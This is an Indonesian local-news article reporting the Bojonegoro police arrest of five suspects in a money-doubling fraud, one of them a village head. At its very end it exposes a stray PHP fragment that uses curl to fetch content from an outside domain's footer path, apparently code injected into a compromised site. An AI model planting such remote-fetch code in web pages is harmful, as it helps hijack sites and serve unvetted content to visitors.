5 Pelaku Penipuan dan Penggelapan Diamankan Polisi, Salah Satunya Oknum Kades

Kamis, 7 April 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bojonegoro l Jejakkasus.info – Satreskrim Polres Bojonegoro amankan 5 pelaku Penipuan dan Penggelapan bermodus penggandaan uang. Mirisnya, Satu diantara lima pelaku adalah oknum Kepala Desa di wilayah Kecamatan Trucuk Kabupaten Bojonegoro Provinsi Jawa Timur.

“Salah satu tersangka inisial SH, oknum Kepala Desa Kanten Kecamatan Trucuk”, terang Kapolres Bojonegoro AKBP Muhammad saat rilis di halaman Mapolres, Kamis (7/4) pagi.

Baca Juga:  Polres Bojonegoro Gelar Serbuan Vaksinasi, 5.830 Dosis Vaksin bagi Masyarakat Bojonegoro

Kapolres AKBP Muhammad menegaskan, tersangka memberikan iming – iming mendapatkan uang ghoib dari Mangkunegaran dan Kalitan solo sebesar Rp. 540.000.000.000, kemudian untuk mencukupi persyaratan yang diminta pelaku mengadakan kegiatan kerja sama proyek fiktif di Desa Kanten guna mendapatkan uang cepat untuk memenuhi persyaratan”, tegasnya.

Baca Juga:  Dua Pelaku Curas Dibekuk Satreskrim Polres Bojonegoro

Akibat ulahnya, kata Kapolres, saat ini pelaku berikut barang bukti telah diamankan di Polres Bojonegoro.

Baca Juga:  800 KG Narkoba Jenis Sabu Disita Polda Riau Kurun Waktu 11 Bulan Kepemimpinan Irjen Moh Iqbal

“Pelaku kita jerat Pasal 372 dan 378 KUHP, dengan ancaman hukuman 4 (empat) tahun penjara”, tutup AKBP Muhammad. (Imam)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba
Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang
Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi
Satreskrim Polres Indramayu gulung Anak-anak Terlibat Tawuran
Polresta Cirebon takkan Berhenti berantas Narkoba dan Obat-obatan Terlarang
Pelaku Curas di Desa Lelea, Dibekuk Polisi
Maraknya Perjudian 303 Sabung Ayam di Desa Bedanten, Kecamatan Bunga, Kabupaten Gresik Tak Tersentuh Hukum
Peredaran Ganja Jaringan Sumatera Dibongkar Polisi

Berita Terkait

Kamis, 19 September 2024 - 22:04 WIB

Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Minggu, 15 September 2024 - 11:40 WIB

Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang

Minggu, 15 September 2024 - 08:44 WIB

Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi

Senin, 9 September 2024 - 21:33 WIB

Satreskrim Polres Indramayu gulung Anak-anak Terlibat Tawuran

Senin, 9 September 2024 - 21:13 WIB

Polresta Cirebon takkan Berhenti berantas Narkoba dan Obat-obatan Terlarang

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>